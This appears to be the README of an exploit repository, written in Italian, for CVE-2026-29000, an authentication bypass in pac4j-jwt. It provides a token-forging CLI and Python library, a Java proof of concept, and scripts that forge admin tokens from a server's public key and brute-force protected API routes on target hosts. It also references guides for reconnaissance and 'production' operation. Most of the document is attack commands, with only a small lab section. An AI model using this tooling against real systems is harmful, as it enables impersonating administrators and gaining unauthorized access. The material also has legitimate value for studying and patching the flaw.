## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KERNELZERODAY-CVE-2026-29000
# CVE-2026-29000: bypass dell'autenticazione JwtAuthenticator di pac4j-jwt
Buildout completo: writeup, PoC Java in-process, CLI e libreria Python per il forge di token, test.
## Riepilogo
* **CVE:** CVE-2026-29000 (CVSS 10, CWE-347)
* **Versioni interessate:** pac4j-jwt < 4.5.9 / < 5.7.9 / < 6.3.3 quando si utilizza la configurazione JWE + firma
* **Problema:** il **PlainJWT** (non firmato) avvolto in JWE bypassa la verifica della firma; un attaccante con la sola chiave **pubblica** RSA del server può forgiare token e autenticarsi come qualsiasi utente.
Vedi WRITEUP.md per i dettagli e i requisiti del PoC.
## Struttura
Percorso| Descrizione
---|---
`WRITEUP.md`| Riepilogo CVE, causa principale, versioni interessate, requisiti PoC, riferimenti
`RECON.md`| **Cosa inserire** (scoperta dei claim, claim specifici dell'app) e **dove inviare** (header, cookie, individuazione degli endpoint protetti)
`OPERATIONALIZATION.md`| **Cosa serve per l'esecuzione in produzione:** packaging, configurazione, sicurezza, automazione, osservabilità , manutenzione
`scripts/kr_scan.py`| Forgia il token ed esegue **kiterunner** (`~/bin/kr`) con `Authorization: Bearer` per brute/scan delle route API protette
`examples/`| Script di esempio: `forge_and_curl.sh`, `forge_and_kr.sh`
`lab/`| App Flask di laboratorio (endpoint JWE + JWKS) per testare il forge dei token
`poc/`| PoC Java Maven (bypass in-process contro pac4j-jwt 6.0.3)
`token_forge/`| Pacchetto Python: forge di PlainJWT avvolto in JWE da PEM o URL JWKS
`tests/`| Test Pytest per claim, forge, chiavi, CLI
`requirements.txt`| Dipendenze Python (jwcrypto, requests, pytest)
## Python (forge dei token)
### Setup
root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate # oppure .venv\Scripts\activate su Windows
pip install -r requirements.txt
### Esecuzione CLI
root@kitploit:~
# Da PEM (genera con: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /percorso/di/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
# Da URL JWKS
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin
# Claim aggiuntivi (per la scoperta specifica dell'app): --claim some-email@example.com --claim key=value
# Opzioni: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose
Output: una singola riga (JWT forgiato); usa come `Authorization: Bearer <token>`.
### Automazione Kiterunner (kr)
Richiede **kr** in `~/bin/kr`. Forgia il token ed esegui `kr brute` (o `kr scan`) con autenticazione Bearer per scoprire le route protette:
root@kitploit:~
python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run
Vedi RECON.md §4 per le opzioni (`--subject`, `--roles`, `--claim`, `-A`, `--scan`, ecc.).
### Libreria
root@kitploit:~
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
with open("pub.pem", "rb") as f:
key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
### Test
root@kitploit:~
pytest -vv --tb=short --maxfail=1
# oppure con i warning come errori:
pytest -vv -W error -W always --tb=short --maxfail=1
## PoC Java
### Build ed esecuzione (richiede Java 11+ e Maven)
root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# Oppure solo token (senza validazione in-process):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# Con subject/roles personalizzati:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
Atteso: `[BYPASS] Authenticated as: admin#override` e i ruoli quando si esegue in-process.
## Test e copertura
root@kitploit:~
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html # poi apri htmlcov/index.html
## Docker
root@kitploit:~
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing
## Lab (target vulnerabile)
App Flask che accetta JWE e restituisce i claim (per testare forge + curl/kr).
root@kitploit:~
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me
Vedi lab/README.md.
## Riferimenti
* CodeAnt AI – PoC completo e analisi
* Advisory di sicurezza pac4j
* OpenCVE CVE-2026-29000